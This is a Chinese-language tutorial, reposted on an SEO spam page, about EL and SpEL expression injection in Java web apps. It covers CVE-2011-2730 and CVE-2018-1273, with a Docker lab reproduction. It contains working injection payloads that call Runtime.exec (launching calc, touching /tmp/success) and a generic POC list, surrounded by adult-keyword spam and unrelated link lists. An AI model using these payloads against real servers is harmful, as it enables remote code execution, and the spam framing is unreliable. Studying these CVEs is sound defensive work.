国产亚洲精品福利在线无卡一,国产精久久一区二区三区,亚洲精品无码国模,精品久久久久久无码专区不卡

當(dāng)前位置: 首頁 > news >正文

無錫建設(shè)網(wǎng)站的公司湖南百度seo

無錫建設(shè)網(wǎng)站的公司,湖南百度seo,成人網(wǎng)站怎么做,wordpress媒體庫代碼1 前置知識 1.1 EL表達(dá)式 EL表達(dá)式主要功能: 獲取數(shù)據(jù):可以從JSP四大作用域中獲取數(shù)據(jù)執(zhí)行運(yùn)算:執(zhí)行一些關(guān)系運(yùn)算,邏輯運(yùn)算,算術(shù)運(yùn)算獲取web開發(fā)常用對象:通過內(nèi)置 的11個隱式對象獲取想要的數(shù)據(jù)調(diào)用jav…

1 前置知識

1.1 EL表達(dá)式

EL表達(dá)式主要功能

  • 獲取數(shù)據(jù):可以從JSP四大作用域中獲取數(shù)據(jù)
  • 執(zhí)行運(yùn)算:執(zhí)行一些關(guān)系運(yùn)算,邏輯運(yùn)算,算術(shù)運(yùn)算
  • 獲取web開發(fā)常用對象:通過內(nèi)置 的11個隱式對象獲取想要的數(shù)據(jù)
  • 調(diào)用java方法:允許用戶開發(fā)自定義EL函數(shù),通過EL表達(dá)式調(diào)用java方法

JSP四大作用域

  • page:只在一個頁面保存數(shù)據(jù)(默認(rèn))
  • request:只在一個請求保存數(shù)據(jù)
  • session:只在一個會話保存數(shù)據(jù)
  • application:在整個服務(wù)器保存數(shù)據(jù),全部用戶共享

EL表達(dá)式獲取對象屬性的方法

  • ${對象.屬性}
  • [] :屬性名中存在特殊字符或者屬性名是一個變量時使用

實(shí)例化java內(nèi)置類

  • 例如使用Runtime.class會執(zhí)行系統(tǒng)命令${Runtime.getRuntime().exec("calc")}

jsp標(biāo)準(zhǔn)方法與EL表達(dá)式取值的區(qū)別

JSPEL表達(dá)式
<%=((Person)request.getAttribute("p")).getName()%>${p.name}
<%=((Person)request.getAttribute("p")).getAge()%>${p.age}

1.2 SPEL表達(dá)式

SPEL表達(dá)式注入:獨(dú)立于Spring容器使用,但只被當(dāng)成簡單的表達(dá)式語言使用

SPEL中EvaluationContext(表示解析器)用于評估表達(dá)式和解析屬性、方法以及字段并幫助執(zhí)行類型轉(zhuǎn)換的接口

兩種實(shí)現(xiàn)方法

SimpleEvaluationContextStandardEvaluationContext(默認(rèn))
權(quán)限小,只支持一些map結(jié)構(gòu)權(quán)限大,可以執(zhí)行任意代碼,會被惡意用戶利用
針對不需要SPEL語言語法的全部范圍并且應(yīng)該受到有意限制的表達(dá)式類別,公開SpEL語言特性和配置選項的子集公開SpEL全部語言功能和配置選項。用戶可以使用他來指定默認(rèn)的跟對象并配置每個可用的評估相關(guān)策略

利用

String expressionstr = "T(Runtime).getRuntime().exec(\"calc\")";
// 創(chuàng)建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默認(rèn)實(shí)現(xiàn)
ExpressionParser parser = new SpelExpressionParser();
// 構(gòu)造上下文:準(zhǔn)備比如變量定義等等表達(dá)式需要的上下文數(shù)據(jù)
EvaluationContext evaluationContext = new StandardEvaluationContext();
// 解析表達(dá)式:使用 ExpressionParser 的 parseExpression 來解析相應(yīng)的表達(dá)式為 Expression 對象
Expression expression = parser.parseExpression(expressionstr);
system.out.prinln(expression.getValue(evaluarionContext));

2 漏洞描述

表達(dá)式注入(EL表達(dá)式),JSP的一種內(nèi)置語言。作用于用戶訪問頁面的上下文以及不同作用域的對象,取得對象屬性值或者執(zhí)行簡單的運(yùn)算和判斷操作。

3 通用POC

//對應(yīng)于JSP頁面中的pageContext對象(注意:取的是pageContext對象)
${pageContext}//獲取Web路徑
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}//文件頭參數(shù)
${header}//獲取webRoot
${applicationScope}//執(zhí)行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

4 CVE-2011-2730-Spring標(biāo)簽EL表達(dá)式注入

原理:Spring的message標(biāo)簽會對EL表達(dá)式進(jìn)行解析,且 web容器也會對EL表達(dá)式進(jìn)行解析,兩次解析造成EL表達(dá)式注入。

spring message標(biāo)簽形式:<spring:message text="${param.a}"></spring:message>

利用

  • 獲取信息a = ${applicationScope}

  • 攻擊性:利用反射,先獲取getRuntime方法中的method對象,然后通過invoke獲取Runtime對象,然后可以直接調(diào)用exec方法運(yùn)行惡意代碼

    <spring:message text=
    "${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}">
    </spring:message>
    

驗(yàn)證步驟

  1. 確定web應(yīng)用使用了spring標(biāo)簽,因?yàn)闆]有spring標(biāo)簽的話,也就談不上EL表達(dá)式注入了
  2. 確定標(biāo)簽中存在EL注入,可以通過提交${applicationScope}等進(jìn)行測試
  3. 判斷servlet容器版本,如果容器不支持EL2.2的話,存在EL注入也只能進(jìn)行獲取服務(wù)器信息等操作了
  4. 如果容器支持EL2.2,就可以嘗試構(gòu)造攻擊代碼對服務(wù)器本身直接進(jìn)行攻擊

5 CVE-2018-1273-Spring Data Commons 遠(yuǎn)程代碼執(zhí)行漏洞

5.1 描述

成因:當(dāng)用戶在項目中利用了Spring-data的相關(guān)web特性對用戶的輸入?yún)?shù)進(jìn)行自動匹配的時候,會將用戶提交的form表單的key值作為Spel的執(zhí)行內(nèi)容。

前置知識:Spring Data是一個用于簡化數(shù)據(jù)庫訪問,并支持云服務(wù)的開源框架,Spring Data Commons是Spring Data下所有子項目共享的基礎(chǔ)框架。Spring Data Commons 在2.0.5及以前版本中,存在一處SpEL表達(dá)式注入漏洞,攻擊者可以注入惡意SpEL表達(dá)式以執(zhí)行任意命令.

漏洞的判定:確認(rèn)目標(biāo)項目中含有Spring-data-commons包并且版本范圍如下

Spring Data Commons 1.13 to 1.13.10

Spring Data Commons 2.0 to 2.0.5

5.2 docker復(fù)現(xiàn)

burp抓包,使用payload:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

在這里插入圖片描述

放包,頁面返回如下

在這里插入圖片描述

使用命令docker-compose exec spring bash

進(jìn)入目錄查看是否有success,有success

在這里插入圖片描述

http://aloenet.com.cn/news/30961.html

相關(guān)文章:

  • 無錫兼職做網(wǎng)站電商培訓(xùn)內(nèi)容
  • 徐州提供網(wǎng)站建設(shè)報價表寧波seo網(wǎng)絡(luò)推廣優(yōu)化價格
  • 動態(tài)網(wǎng)站開發(fā)平臺簡介什么叫seo
  • 購物網(wǎng)站策劃案廈門谷歌seo公司
  • 北京網(wǎng)站建設(shè)的價格中國最好的營銷策劃公司
  • 做班級的活動的網(wǎng)站企業(yè)營銷策劃方案范文
  • 招聘H5在什么網(wǎng)站做最好搜索引擎排名
  • 用手機(jī)什么軟件做網(wǎng)站百度推廣怎么操作流程
  • 帶登錄網(wǎng)站模板網(wǎng)站建設(shè)的整體流程有哪些
  • 阿里云Windows網(wǎng)站建設(shè)廣東百度推廣的代理商
  • 自助建站系統(tǒng)免授權(quán)版企業(yè)查詢網(wǎng)
  • 網(wǎng)站開發(fā)專業(yè)就業(yè)培訓(xùn)學(xué)校石家莊網(wǎng)絡(luò)營銷網(wǎng)站推廣
  • 怎么免費(fèi)做個人網(wǎng)站互聯(lián)網(wǎng)營銷策略有哪些
  • 網(wǎng)站怎么做?企業(yè)培訓(xùn)的目的和意義
  • 一鍵清理加速北京網(wǎng)站優(yōu)化推廣方案
  • 做網(wǎng)站代理拉不到人常州網(wǎng)站推廣公司
  • 動態(tài)網(wǎng)站設(shè)計主題長春seo培訓(xùn)
  • 金融跟單公司網(wǎng)站建設(shè)seo課程培訓(xùn)中心
  • 網(wǎng)站推廣怎么做2017注冊域名查詢網(wǎng)站官網(wǎng)
  • 做直播的在相親網(wǎng)站交友韓國搜索引擎排名
  • 做棋牌網(wǎng)站抓到會怎么量刑廈門seo新站策劃
  • 網(wǎng)站添加鏈接網(wǎng)站申請流程
  • 櫻花代碼htmlseo外包如何
  • 大同網(wǎng)站建設(shè)熊掌號制作網(wǎng)站的公司有哪些
  • 房地產(chǎn)平面設(shè)計主要做什么貴州二級站seo整站優(yōu)化排名
  • 太原制作網(wǎng)站代理公司注冊
  • 建筑公司網(wǎng)站md0095設(shè)計風(fēng)格荊門網(wǎng)絡(luò)推廣
  • 江西省贛州市地圖全圖寧波seo外包服務(wù)
  • 化妝品網(wǎng)站建設(shè)報告網(wǎng)店運(yùn)營公司
  • 站長統(tǒng)計導(dǎo)航窗口如何搭建網(wǎng)站平臺